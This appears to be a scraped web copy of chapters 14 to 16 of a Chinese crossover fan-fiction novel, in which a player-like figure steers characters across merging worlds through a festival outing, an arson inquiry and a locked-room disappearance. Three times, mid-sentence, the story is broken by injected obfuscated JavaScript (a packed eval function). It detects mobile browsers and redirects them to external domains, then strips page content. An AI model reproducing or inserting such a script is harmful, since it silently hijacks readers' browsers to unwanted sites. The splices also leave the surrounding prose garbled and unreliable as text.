他的手腕轻转,角度微调,纸网如水母般收缩,托起,转移——不过一晃眼,那条白金鱼便稳稳地落入了铝盆中,在浅浅的水里游动。 “你看。”男孩笑着朝神隐展示铝盆里的收获,又分他一只纸网,“再试试吧?” - 神隐:[哇。] 搭档:[这才是真正的天使。] 好感动。 神隐擦了擦并不存在的泪水,忽然发现有什么不对。 [你又在贬低老子?!] [嘿嘿。] - 似乎没想到自己会这样做,在板凳上安静了十来分钟的男孩看着他,沉默了很久才接过纸网。 墨黑的卷发垂落,遮住没有情绪的血色眼眸。 男孩学着他刚才的动作拿起纸网,前面的步骤完全相同,包括手臂倾斜与纸网入水的深度。 一切都很顺利,但在最后一步,也就是把鱼带出水时,刚出水,纸网就破了。 “你用的力气太大了。”他指出问题,“没关系,还有一次机会,这次轻一点就好了。” 男孩似懂非懂地重复方才步骤。 这次成功了。 一黑一白两条金鱼在水里转着圈游,他将鱼袋递给男孩。 黑卷发的男孩盯着鱼袋,反应了很长一段时间,才说:“送给……我的?” “嗯,送给你。” “谢谢。” 他笑着回了句不客气,又问:“你想去看烟花吗?” “烟花?” - “咻——!!” 一声悠长、尖锐地仿佛要将这片夜空撕裂的哨声骤然响彻。 烟火霎时绽放在城市上空,绚丽色彩照亮了整片夜空。 璀璨多变的光彩在伏黑白仰起的面容上流淌,晚风拂过他额前碎发,烟火的光华映亮那双睁大的血红色眼睛。 “好看吧。” 带着他来到一栋小楼楼顶的男孩问道。 这是个远离喧嚣的地方,没有其他人的声音,很安静。 “好看。” 伏黑白回答,声音散在烟火炸开的轰鸣里。 他的目光依然追随着天际的光影,像是要将这转瞬即逝的美景永远镌刻在记忆里。 他们并肩坐在屋瓦上。 片刻后,又有新的花火升空,在爆鸣声中化作绚丽的图案。 “母亲说,烟火之所以美丽,是因为它燃烧得义无反顾。”男孩轻声说道,目光追随着渐渐消散的光屑。 细碎的光粒如春雨般淅淅沥沥落下。 伏黑白没有接话,他看着最后一缕金辉融入夜色,等四周重归寂静后站起身来。 “该回去了。” 算着时间差不多了,伏黑白主动开口道别。 在分别时他们交换了名字。 “我叫加茂宪纪。”男孩郑重地说道,并预定了明天的相遇,“明天见,我请你吃母亲做的米糖。” 他顿了顿,又补充道:“母亲做的米糖里很好吃,别处尝不到的。” 伏黑白点头,月光照亮他半边侧脸。 “我叫伏黑白,再见。” “再见。” 加茂宪纪本以为他会沿着来时的楼梯下去,却见伏黑白单手一撑,在加茂宪纪陡然惊悚的目光中,如飞鸟般从屋顶跃下。 “伏黑——!” 加茂宪纪慌忙扑到屋檐边,预想中血肉模糊的场景并未出现。 毫发无损的伏黑白站在下方,他抬起头,朝上方目瞪口呆的加茂宪纪挥了挥手,随即毫不犹豫地转身,消失在了浓浓夜色里。 趁着天还没亮,他要去放火了。 14. 第 14 章 京都在一周前起了大火,因为火是深夜时点的,等被人发现的时候,火势已经将那处地方的半面天都烧红了。 奇怪的是,这场大火只烧死了十余名高层官员,其余人、哪怕处于火焰中心的人都只有小范围的烧伤,结合某些不可公开的秘密,让人很难不怀疑是某位异能力者在寻仇报复。 专案组探查了一周,也仍旧没有找到丝毫线索,无奈之下,只得向与警察达成过合作的各方侦探求助。 作为最近名声鹊起的侦探组合,福泽谕吉自然也收到了邀请。 因为前后进程最快也需要两天时间,一大早,不愿意出门的藤原千学就被连哄带拉地带上了列车。 还没睡醒的藤原千学一边往下点着脑袋,一边轻飘飘地被江户川乱步拉着往前走。 有什么东西被塞到了怀里,毛茸茸的,藤原千学努力将眼睛睁开一条缝,发现是只崭新的小熊玩偶。 他抱紧玩偶,将头埋进了绒毛里。 耳聋buff还没过,藤原千学听不见周遭声音,安静的氛围提供了良好的睡眠环境,找到座位,坐在最里侧的他闭上眼。 被睡意操控意识的迷糊间,他感受到有人摸了摸自己的脑袋,是江户川乱步。 藤原千学无意识地蹭了蹭,靠着江户川乱步的手臂睡了个回笼觉。 - 两个世界还差一点进度才能彻底融合,两边的人处于相互不可见的状态,所以不管怎么查,都不会有人查到伏黑白的头上。 早就知道凶手不会被找到,坐在会议厅最后面的藤原千学捏住玩偶耳朵,低着头,不是很想看其他人的讨论。 不用看也知道他们说的话该是多么愚蠢无趣。 藤原千学想。 和怀里玩偶相同的触感忽然擦过手背,藤原千学抬头,同样抱着小熊的江户川乱步对他开口: “好无聊啊千学,我们出去吧。” - 这场大火导致京都有些动荡,但再怎么混乱,也不会比横滨危险,福泽谕吉小声道了句“不要走太远”,就放任他们离开了。 两个孩子的离场没有引起任何人注意。 离开会议厅,江户川乱步牵着藤原千学穿过长廊,直奔公馆内的自助餐厅。 这座公馆是某位因火灾死亡的高层的孩子为接待各方侦探准备的,不会存在无关紧要的人士,藤原千学拿起餐盘,不经意看了一眼不远处水果区的人。 墨黑的卷发,深蓝的眼睛。 有点眼熟。 好像在哪里见到过。 藤原千学扫过青年挂在胸口的墨镜,收回视线,拿着餐盘赶上乱步的脚步。 刚刚追上,他的盘子上就多了一份千层意面。 “千学尝尝这个。”江户川乱步说着,又夹了一块乳酪蛋糕,“还有这个。” 自从某天外出,藤原千学在餐厅多吃了几口芝士焗意面后,福泽谕吉和江户川乱步就默认了他喜欢的食物是奶酪制品。 尽管藤原千学解释过那只是他最不讨厌的食物。 坐在堆满奶酪与甜点的餐桌,近期被限制了甜食的江户川乱步吃得满脸幸福。 藤原千学喝了口冰可乐,望着对面少年脸上的婴儿肥,沉思片刻。 “话说,乱步最近是不是又胖了?” “完全没有啦!”江户川乱步反驳,试图用理直气壮的态度说服藤原千学,“这是在生长期,是正常的!” “生长期是变瘦吧,乱步就是胖了。” 然而藤原千学并没有被忽悠到。 “不管不管,乱步是与众不同的乱步!生长期也要与众不同!” “哈哈、” 后面突然传来一声戛然而止的笑,江户川乱步不满地回望过去,看到了一头卷毛。 留着中长发的青年捂住卷毛青年的嘴巴,不好意思地朝他们笑了笑。 “抱歉啊小朋友们,打扰到你们聊天了。” “现在不来打扰,过一会儿也会找借口打断我们的对话吧?”江户川乱步不留情面地说道,“特意选在我们身后的位置,不就是在找机会搭话吗,两位警官先生。” 而藤原千学也想起来了以前在哪里见过他们。 “仅仅因为一起案件就对我们如此关注,未免太过变态了。” 江户川乱步背对着自己,藤原千学无法得知他对两人说了什么,不过从两位警官僵住的神情里,也能大致猜出他的话有多不留情面,“所以在我们把两位警官当做变态之前,把你们的目的说出来吧。” 变、变态?! “这样吗……”头一次被叫变态,中长发的青年警官表情看起来要碎了,“真是抱歉啊。” 在他为这些话感到心碎时,卷毛警官扒拉开捂住自己嘴巴的手,直言道: “我们是来请教你们对这个案件看法的。” 不知道为什么,在面对江户川乱步时,他们总会下意识想去依赖信任。 即便这只是个十四岁的孩子。 他们是在昨天被派来保护某位少年侦探的,很多案件的细节也都知道。 开会的时候那位侦探便以跟从的“保镖”太蠢,无法给他提供有效帮助为由赶走了所有的警卫,让他们哪里凉快待哪儿去。 两人便来了餐厅,打算好好犒劳饿了一天一夜的肚子。 没想到会有意外惊喜出现。 “本来打算等你们说完话再过来的。”回过神的中长发警官低咳一声,用手肘碰了下搭档胳膊,试图挽回一点形象,“都怪小阵平啦,作为补偿,你们有什么想要的东西吗?都可以让他买喔。” 被称为小阵平的卷毛警官没反驳,默认了搭档的话。 听到这句话的江户川乱步眼睛一亮。 “那警官先生们给我和千学买零食吧!” 福泽大叔说他最近吃得太多,现在都不给他买零食了,害得千学也没有零食吃。 虽然千学的零食全部都到了他的肚子里。 但那些都是千学不喜欢吃的,不能浪费食物嘛。 江户川乱步毫不心虚地想。 藤原千学打量着两个人。 他让搭档扫描了一下两位警官的信息,等信息共享进脑子里,藤原千学大致看了一遍,狐疑地想,那么高数值不像是普通角色啊。 莫非是未来的侦探社成员? 或者黑手党? 搭档:[但是作为警察,不管是来侦探社还是去黑手党都有点不合理吧。] 空间里,搭档为了融入时代,特意选的键盘被按得啪啪作响,他还在处理昨天伏黑白给总监会投毒留下的痕迹。 神隐思索一番觉得也是,索性直接去问了世界意识。 [世界,他们是谁?] 正在关注另一个孩子离家出走的世界闻言往这边探了一眼,不在意道:[他们是被一个半消亡的世界送过来的,不是什么重要人物,也不会影响您的工作,您需要他们的资料吗?] 关系不错的世界意识会相互串门,偶尔会相互赠送一两个在当前世界已经“死亡”的人,这算是各个世界心照不宣的秘密。 就像游戏创始人,听说祂之前就是被其他世界意识送过来的,阴差阳错下创造了一个没有生命体的世界。 听到此间世界意识的解释,神隐也没多惊讶。 [发给我看看。] - “千学和我一样喜欢吃零食啦!” 在浏览资料的时候,江户川乱步替藤原千学回复了萩原研二的话,他擦干净嘴边的奶油,“趁现在他们还没有开完会,我们快去快回吧。” 公馆位于一处偏僻的地区,附近没什么建筑,最近的房屋离他们有大概两公里远。 “嗯。” 藤原千学点头表示同意。 松田阵平诧异两个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553962|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的大胆,“不和监护人说一声吗?” 江户川乱步:“他肯定会同意的啦。” 只要不告诉他是去买零食就好了。 毕竟大叔知道有千学在,自己是不会做危险之事的嘛。 两位警官对视一眼,还是让江户川乱步给福泽谕吉发短信告知。 “反正都会同意,为什么还要做这种繁琐的事情。”江户川乱步当着他们的面抱怨,最后还是对零食的渴望大过了所有,他举起手机,给两人看信息界面,“好了,大叔同意了。” 世界意识给的资料很厚,有十分之八都是各种各样的案件,让搭档将没用信息筛选后,总算看完了剧情的藤原千学拿起一盒牛奶放进购物篮。 他的购物篮被江户川乱步放了很多东西。 芝士饼干,芝士布丁,芝士棒,芝士面包……怎么全是芝士。 不过他确实很喜欢吃就是了。 但千页没有食物偏好,在面对食物时,只有呕吐和难吃两个态度。 再继续下去会崩人设吧。 藤原千学想着,将满篮子芝士放到了收银台。 把这些吃完再说吧。 反正这里也不是游戏世界。 “这个案件找不到凶手的。”江户川乱步咬住棒棒糖,“因为凶手根本不是异能者。” 知道松田阵平和萩原研二可能听不懂,他将自己的推理详细说了一遍。 不过看他们的样子,说详细一点好像更听不懂了。 江户川乱步没在意,“总之,即使凶手在我们眼前犯了案,我们也是找不到他的。” 根本没有线索可言。 就像那个人是在异世界放的火,火势碰巧蔓延到这里来了一样。 江户川乱步思索着,突然听到身后传来骨头与地面的碰撞声。 是藤原千学。 后脑勺着地的藤原千学躺在原地,挥开萩原研二和松田阵平的搀扶,安静地看了会儿天空,直到脑袋不怎么昏痛了,才被江户川乱步扶起来。 “怎么突然摔倒了?” 藤原千学后退一步,避开萩原研二试图检查伤势的手,他迅速抚平因为摔倒而凌乱的着装,又拍掉上面的灰,走到江户川乱步身后,与两个成年人隔开距离。 萩原研二尴尬地收回手。 忘记这个孩子不喜欢成年人了。 “千学遇到这次案件的凶手了。” 江户川乱步凝视着某个方向,“往那个方向走了。” “我们看不见他。”藤原千学说,同样望着江户川乱步所看的方向,“也碰不到他。” 不远处的人行道上,不会被其余三个人看见的两道身影结伴而行。 他们的年龄都不大,五岁到六岁的区间。 稍高些的男孩有着一头绵羊似的黑卷发,被家人好好打理过的头发如黑云般蓬松飘散。 面对藤原千学的注视,黑卷发男孩有所感应地转头,漠然的血红色眼睛看过来。 视线对上的一瞬间,藤原千学拉住精准看向男孩的江户川乱步,阻拦住他的无用功,“找不到的,我们先回去吧。” 两个世界的人相互不可见,不可碰。 在完全融合之前,不管多么敏锐聪明,就如江户川乱步刚才所言的那样,他们都是不可能找到的。 藤原千学收回视线。 …… …… “伏黑,在看什么?” 伏黑白有些卡顿地转过头,“我刚才,好像撞倒了一个人。” 加茂宪纪疑惑地跟着看过去,没发现有人摔倒,“我没有看到人啊。” 是他眼睛不好吗? “可能是我感觉错了。” 伏黑白用古井无波的声音解释道。 习惯了小伙伴的语调声线,并能够从这语调平平的话语中听出情绪的加茂宪纪点头。 “好吧。” 15. 第 15 章 在发现自己放的火会影响到另一个世界之后,能够同时看见两个世界人群的神隐就在想,位于两个世界的角色卡能不能相互看见,相互影响? 带着这个疑问,已经可以稳定三开的神隐操控着伏黑白,来到了藤原千学所在的位置。 这些天,伏黑白都会在固定的地方遇见加茂宪纪,他似乎也在等着自己,每次相遇都理所当然地走到伏黑白身边,十分自然地带着他去各种地方玩。 重新启用这张角色卡,本意就是想放松的神隐没有拒绝过。 孩童的关系好坏都容易,短短一周时间,他们的友谊小船在海面上突飞猛进。 已经成为了见面即能够放松的关系。 世界间虽然还存在时间差异,不过要比之前这边一天、另一边好几天的流速好很多,现在只有十来个小时的差异了。 伏黑白是在深夜十点时见到的加茂宪纪,那个时候,藤原千学刚刚抵达京都。 于是等伏黑白碰上藤原千学的时候,他们这边的时间,已经处于后半夜的黎明时分了。 他本来是想试试角色卡之间能不能触碰到,有意地对上彼此的肩膀,擦肩而过。 结果低估了武者的力气,也高估了学者的身体。 在伏黑白的视角,他们只是轻轻一碰,甚至谈不上接触,而藤原千学的视角——他感觉自己好像被一辆正在飙车的机车撞到了。 这未免太过离谱了。 看着加茂宪纪毫无所觉地穿过藤原千学的身体朝自己走过来,被江户川乱步死亡凝视的伏黑白默默加快步伐。 第一次被乱步用这种视线注视啊。 …… …… 月光像一盅凉透了的茶,静默地泼洒在深邃的夜路上,暑夏后半夜,只有缠人的蝉鸣未歇。 没人居住的四层小楼远离人烟,角落放着一盏灯,在地上圈出一小片昏黄的光晕,光晕里,毽子随着影子一下一下地跳跃着。 “对了,我这段时间不会再过来了。”加茂宪纪突然说道,他的声音很轻,像是怕惊扰了这静谧的夜色。 闻言,伏黑白接住高高跃起的毽子,毽子上的鸡毛有着斑驳的杂色,在月色下也是灰扑扑的色泽。 黑卷发男孩略微歪了下脑袋,“好。” 高专也要放假了,他和津美纪明天就会回到东京去,原本还在纠结要怎么和加茂宪纪告别来着。 没想到加茂宪纪率先提出来了。 “你不问是因为什么不过来了吗?”加茂宪纪问。 伏黑白迟缓地眨了下眼,他的反应一直很慢,加茂宪纪说完后又过了几秒,伏黑白才开口: “你为什么不过来了?” 一字一句的复述称得上敷衍,而在这一周里,伏黑白就是这样和加茂宪纪交流的。 这是一位几乎不去思考的朋友。 加茂宪纪朝伏黑白笑了笑,鲜少出现的情绪在他脸上浮现。 “我成为家族的继承人了。”他说道,笑意里带着与朋友分享后的骄傲,“这段时间会很忙。” 加茂宪纪之前和伏黑白说过自己的来历,但没有言明咒术界,只说那是一个很大的家族。 伏黑白点头:“恭喜你。” 听到这句话,他没有什么特别的表情,也是,伏黑从始至终都是这样。 如果伏黑是咒术师就好了。 加茂宪纪叹气。 时候不早了,他此次出来也是为了和朋友道别,现在道完别,也该回去了。 母亲还在等着他。 “那我们下次见。”加茂宪纪说。 正好甚尔差不多也要回来了。 这段时间都是背着人大晚上出来玩的神隐想。 除开五条悟,御三家的继承人应该很忙吧,估计不会有再见的时候了,他思索着,就也没说自己要回东京的事情。 “下次见。” …… …… “我真的没有受伤。” 看着接受完两位警官的道歉,就直步往自己走过来的福泽谕吉,藤原千学试图解释。 银发武士伸手轻按在他的发顶,表示不听他的解释。 看清少年脑后那道已经凝固的血痕时,福泽谕吉蹙起眉头,他随即掀开对方后背的衣服,目光登时一凝——单薄的背脊上布满了深浅不一的擦伤与淤青。 “……其实不痛的。”对上福泽谕吉的目光,藤原千学声音不自觉地低了下去,“过两天伤就好了。” 他这次没骗人。 作为经常被首杀的学者,藤原千学的设定除去容易受伤外,还有强大的自愈能力。 而且除了傻子和疯子,谁会在游戏里给自己设百分百的痛觉啊……他在心里小声嘀咕。 但是很明显,藤原千学在福泽谕吉这里没有信誉可言。 “不用去看医生!” 他抱住走廊的栏杆,用尽全身力气想要抵抗抓住自己去医院的监护人,“只是看着可怕而已,我是身体的主人我最清楚!真的不用去看医生啦!” 被骗了不止一次的武士冷漠地表示狡辩没用。 江户川乱步在旁边安慰:“只是去包扎一下伤口,没事的千学,我们都在你身边呢。” 藤原千学面无表情:“哦。” 江户川乱步:“千学!” 被抱着走的男孩扭头不看自己的小伙伴。 江户川乱步顺势走到另一边,又跳进了藤原千学的视野里,“千学不要生气了。” 藤原千学继续转头。 脚步声回响在梯层,绿眸少年再次出现。 “我们也只是担心千学的伤口嘛。”他说,“有我们在,千学大胆一些也没关系的。” 黝黑的眼睛迅速地眨了几下,过了一会儿,藤原千学才小声道:“我不是胆小鬼。” “乱步知道的。” 几下就把人哄好的江户川乱步眯起眼笑,天生锐利的眼眸被少年主动藏起来,看着便更加无害了。 “原来小侦探只讨厌福泽先生以外的大人啊。” 落后三人几步的萩原研二低声感叹,他是被藤原千学嫌弃的大人之一,算上自己的主动搭讪,这位姓藤原的小侦探统共与他说了四句话。 最后两句话组合起来甚至没超过六个字。 “嗯。”松田阵平望着楼下金碧辉煌的大厅,心不在焉道:“我在想,怎么才能让那个不可见的凶手现身。” 在世界意识的偏袒与影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553963|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,他没有想过质疑江户川乱步。 不是异能力者,那还能是什么? 会喷火会隐身的魔法少年吗? …… 和藤原千学熟悉之后,会发现除开爱撒谎外,他其实是一个很听话的孩子。 “停下!” 就像现在,他一开口,藤原千学就放下了不知道从哪里偷过来的手术刀。 差点被手术刀划伤的医生的勇气可嘉,面对这样一个对陌生人警惕到不正常的患者,也没有表现出害怕的样子。 她已在先前的问诊中见识过这位患者对陌生人近乎病态的警惕——但应该没什么大问题,医生面不改色重新拿起了药物准备接近藤原千学。 藤原千学安分了十秒钟,再度举起手术刀。 福泽谕吉:“……把手术刀给我,千学。” 他现在的表现其实没有多少攻击的意图,只是习惯利用身边的一切当做武器,挡住其他人接近自己的脚步而已。 听到福泽谕吉的话,藤原千学眼中闪过挣扎,视线在医生与监护人之间往返数次,最后警惕地看了一眼医生,乖乖把手术刀放到了福泽谕吉掌心。 医生终于得以靠近,她弯起眉眼柔声道:“趴上去吧,小朋友。” 她自认自己笑得很温柔。 藤原千学盯着医生脸上老少皆宜的微笑。 “千学不可以!” 江户川乱步眼疾手快地截住那只不安分的手,将新缴获的凶器藏进外套口袋,他速度很快,医生还没看清那个东西是什么,江户川乱步便像藏赃物一样把东西藏起来了。 比男孩大上几岁,看起来应该是哥哥的少年对医生说道:“好了,现在可以给千学处理伤口了。” 被没收了全部武器的藤原千学幽怨地看着江户川乱步,赌气似地往治疗床上一趴,这次彻底没看他了。 在医生用棉签擦拭到伤口时,藤原千学明显地抖了抖,倒没像之前那样挣扎了。 他将脸埋进臂弯,很安静,一点声音都没有发出。 直到医生将所有伤口包扎好,告知可以起来时,藤原千学仍然维持着原状一动不动。 福泽谕吉取来处方单,将人抱起,刚刚抱起来,藤原千学就恶狠狠地咬住他的肩膀,把刚才累积的情绪全部倾泻在这一刻。 其实和害怕医生与打针的普通孩子没什么差别。 福泽谕吉想,抬起手,轻拍藤原千学不停颤抖着的身体。 在等待福泽谕吉取药的时候,江户川乱步将之前收走的手枪还给了藤原千学。 感受到手上金属冰凉的触感,一直盯着地板的藤原千学抬头,漆黑的眼瞳看向江户川乱步。 绷带棉白,从鼻梁缠至耳后,再绕向脖颈,几乎将整张脸覆盖,消瘦的面容在绷带间若隐若现,只露出一双深不见底的眼睛,带着几分骇人的寂静。 “千学饿了吗?” 江户川乱步取出一袋芝士夹心脆饼。 他没提那把被福泽谕吉没收,现在又重新出现在藤原千学身上的手枪。 藤原千学沉默着接过这袋零食。 包装袋刚被撕开,福泽谕吉便面色沉重地提着药快步走过来。 “公馆有人失踪了。” 16. 第 16 章 “失踪的是来自大阪的一位侦探,” 萩原研二的声音格外凝重:“西村拓木先生,于今天午后一点到两点之间,在他自己的房间里——消失了。” “西村先生让我两点之前叫醒他,我一点五十分去敲的门,里面没有回应,我便以为西村先生睡着了。” 西村拓木的助手面色苍白的补充: “过了五分钟,我再一次敲门,还是没有得到回应,我觉得不安,就用备用钥匙开了门……房间里很整齐,窗户是从里面锁好的,但我没有看见西村先生。” 助手声音越来越抖。 “我在西村先生的隔壁,没有听见过西村先生的房间开过门,他……他是凭空消失的!” 这短短一个小时里,没有任何人看到他离开过房间。 - 午后的阳光透过窗户,在地毯上投下明亮的光斑,床铺微微有些褶皱,有人曾短暂地在上面躺过,一杯喝了一半的冰乌龙茶放在床头柜上,杯壁上还凝结着水珠。 窗户的月牙锁是从内部扣上的,纹丝不动,房间里没有任何打斗、挣扎的痕迹。 “就像是化作空气蒸发了一样。” 金发少年从床边站起来,拍拍衣服总结道。 江户川乱步就是在这个时候抵达的公馆,他刚刚上楼,便听到了激烈的争执声。 “一定是那个会隐身的纵火犯!他肯定是因为西村先生发现了线索,所以……所以就趁着西村先生休息的时候把他抓走了!一定是他!!!” 面对助理小姐激动的发言,唯一站在案发现场内,并理直气壮赶走所有警察和侦探的金发少年平静道:“作为一名侦探的助理,你不应该说出这样的情绪发言。” 门外的另一名戴着帽子的青年开口:“我觉得藤野小姐说的有些道理,说不定就是那个纵火犯得知自己要被找到,情急之下做出的罪行呢?” 金发少年抬眼,懒洋洋地打量一番帽子青年,嗤笑一声,反问道:“你真的是侦探?” “他想嫁祸给一周前放火的家伙。” 在三个人争吵的时候,江户川乱步拉着藤原千学钻进了房间,“因为已经死亡的父亲的秘密被西村发现了,所以打算直接灭口。” 他环顾房间四周,“作案方式……是和放火的家伙一样的方法。” “还没有死。” 藤原千学看着躺在角落的男人,提醒道。 江户川乱步听懂了。 “他在房间里?” “对。” 凶手不知道怎么找到了世界的缝隙,通过缝隙达成“隐身”的效果,并在西村拓木无知无觉间,将他也带进了另一个世界。 作案的时间距离现在应该不长,导致他没有机会把人带走。 扫过被椅子砸碎的窗户,遍布火烧痕迹的床铺,藤原千学走近被捆绑着扔在角落的西村拓木。 他睁着布满血丝的眼睛,嘴巴被堵住了,看样子是在哀嚎,发现藤原千学的接近,西村拓木意识到自己这是被看见了,开始不停地挣扎。 [先等等。] 世界意识提醒道。 [我趁机多融合一些。] 不同世界的人通过缝隙进入另一个世界,反而加速了世界间的融合,这是件好事。 藤原千学脚步停住,“和那个家伙一样,我们碰不到他。” 他假装没有看到西村拓木求救的眼神,转过身,正好看到金发少年开口。 “你们的意思是,凶手是这栋公馆的主人?” 他挑起眉,没在意两人闯入案发现场的唐突,“有证据吗?” “臭小鬼的推理能有什么证据?” 被金发少年驳了面子的帽子青年嘲讽道,“喂,警官,不让我们进去就算了,那两个小子总该和我们一起被拦在外面吧。” 负责拦门的警官闻言,有些为难地挠挠头,“可绫辻先生没有说把他们赶出去啊。” 松田阵平倚在门框上,双手环胸:“也没说让我们进去。” 他们在来的时候上司就说过,不管发生什么都要听从绫辻行人的话,全力辅佐他推理出案子的凶手。 很明显,京都这边也是这样的打算,不然也不会同时邀请横滨的【超推理】和【Another】了。 邀请那么多人过来,也只是为了让其他人的目光不要一直落在他们身上,充充场面,真正邀请的只有这三位异能力侦探而已。 萩原研二按住帽子青年肩膀,打着哈哈,“好了好了,站那么久你们应该饿了吧?要不然我们先去……” 他给其余空闲的同事比了个手势,同事心领神会,将其他留在这里的侦探也敷衍着带走了。 虽说这样的处理方法有些不尊重。 但侦探们一定会推理出并理解这个做法的吧。 萩原研二想。 藤原千学暂时只能凭借他人说话的口型交流,没看见门口的风波,他想了想,避开过道歪倒断裂的书桌与椅子,从地毯上捡起一块沾着血迹的玻璃。 碎玻璃触随着藤原千学转身,一同现于人前。 “上面有两个人的血迹。” 江户川乱步接过碎玻璃,转递给绫辻行人。 绫辻行人接过玻璃,对着灯光看了一会儿,没看出有什么区别,把它扔给门外其中一位警察,“拿去检验。” “还有其他证据吗?” 藤原千学又凭空取出一张被揉皱的书页,拿给江户川乱步。 江户川乱步解释:“这是西村拓木在与凶手争执时,从笔记本上撕下的其中一页。” “不够说服我啊。”绫辻行人沉思,又问:“还有吗?” [还有吗?] 世界:[您等一下,这次的证据在火里,我正在修复。] 凶手现场打扫的其实很干净,除去西村拓木似乎是来不及搬走外,其他会留下线索的东西都全部带走了。 要是必须要线索的话,那会是一个很漫长的过程,毕竟是高层子弟啊。 不过他要证据的话,和世界意识说一声就好了。 藤原千学指节弯曲,翻开床头柜上有些烫的笔记本,撕下记录着已死亡高层秘密的一页揉皱,再次交给江户川乱步。 绫辻行人打开看了看,接着目露嫌弃,他重新揉起来,随手丢往门口,“难怪要灭口。” “还有吗?” 藤原千学捡起一根凶手的头发。 “还有吗?” 拿出有凶手指纹的凳子腿。 “还有吗?” 世界意识伪造的录音笔。 金发少年毫无顾忌地按下录音笔,争吵声与打斗声录制清晰,像是凑到两人脑袋上录的一样。 他用看待神奇动物的眼光看向藤原千学,没看几秒,对注视敏感的男孩就躲到了同伴身后。 绫辻行人收回视线:“嗯——可以了。” 话音刚落,江户川乱步听到一声重物落地的声音。 一直没离开过窗边的藤原千学也有所预感般,避开锋利的玻璃往下探头,看到了一具砸落在公馆外的尸体。 是公馆的主人,那位高层的儿子。 死那么快? 感觉尸体的样子有些眼熟,藤原千学下意识想翻出窗户跳下去证明自己的猜想,下一秒,一道不可抗力提起了他的衣领。 他抬腿往后踢,没踢着,突然想到了什么,僵硬地扭过头。 福泽谕吉看着他,脸色有些令人不妙的生硬:“你在做什么?” “……” 藤原千学默默丢开手里的玻璃,当着所有人的面,老老实实被福泽谕吉提出了房间。 凶手一死,世界意识便将两个房间重合,假装是凶手死亡带出的空间,现在,其他人也能够看见真实的现场与可怜的受害人了。 在侦探助理骤然而起的尖叫声中,绫辻行人找到了正在被福泽谕吉训话的藤原千学。 “绷带怪人。”他慢悠悠地开口,等到藤原千学用莫名其妙的眼神看过来时,泰然自若地问:“你会打麻将吗?” 绷带·藤原千学·怪人:? …… ……… 放假前夕,伏黑隐沉思了很久。 他开始回想自己入学到昨天晚上十二点以来做过的事情。 又忍不住去思考在五条悟和夏油杰的心里,自己和他们到底有多深的交情。 ——不然怎么会有人凌晨五点出现在他的阳台上啊!!! “早上好,隐!”五条悟元气满满地挥手,整个人像只大型白色树懒般挂在栏杆上,“今天的日出特别好看,我们一起去看吧!” 伏黑隐低头看了眼手机:凌晨5:02 又点开软件看了眼明天的天气:阴转阵雨。 “额……日出?” 夏油杰熟练地打开阳台门,盘腿坐到伏黑隐身边,拿起他还没来得及放进行李箱的速写本。 “我记得,隐每次上课都用的这个吧。”他笑着对伏黑隐晃了晃手里的速写本,“可以看吗?” 即使拒绝了也会找机会偷偷看吧。 伏黑隐内心腹诽,表面上凝重地拍了拍前辈的肩,“夏油前辈,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553964|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定想看吗?” 他的语气仿佛眼前的速写本是封印着灾难的潘多拉魔盒,听得夏油杰不由端正了表情。 “我想看。” 他回答的态度端正,一点不像是个凌晨五点半和挚友一起翻阳台,只为了看一眼学弟速写本的样子。 伏黑隐抿起嘴笑,仿佛害羞般翻开了速写本。 在看清里面的内容时,夏油杰脸上的笑容瞬间石化了。 “夏油前辈,你是一个勇敢的人。” 伏黑隐敬佩的声音响起在耳边,他用一种诧异中带着荒唐、荒唐中含着羞怯、羞怯里又藏着一丝丝合理的眼神看着速写本。 第一页,让老师以为终于有人认真听讲、至今也认为伏黑隐是个好学生的那一天,夏油杰就很好奇,隐到底在画什么。 凭借他对于伏黑隐这个人的了解,总归不会是些正经的东西。 现在,夏油杰知道了。 ……他在画自己的……自己的…… 夏油杰深吸一口气。 闭着眼用力合上了速写本。 看着夏油杰瞬间扭曲的笑容,伏黑隐在内心偷笑一声,明知故问道:“夏油前辈不继续看了吗?” 这表情,不枉他画的这一张。 “不对啊。”五条悟走过来翻开速写本,仔细端详,“老子上次看到的,明明是一个陌生的肌肉○男嘛。” 夏油杰恍惚地看了一眼五条悟,“我之前看到的是穿着裤子的。” 伏黑隐:? 他不可置信:“你们居然偷看我的本子!” 那两张全是在入学第一天画的,没过两天伏黑隐就撕下来了,五条悟和夏油杰能知道…… 伏黑隐喃喃:“我总算知道歌姬前辈说的,小心你们是什么意思了……” 下一秒,白发学弟冷漠地将两个人推到了宿舍外,砰的一声,重重关上了门。 两个人站在走廊上面面相觑。 “居然没有问到那个肌肉○男是谁……” 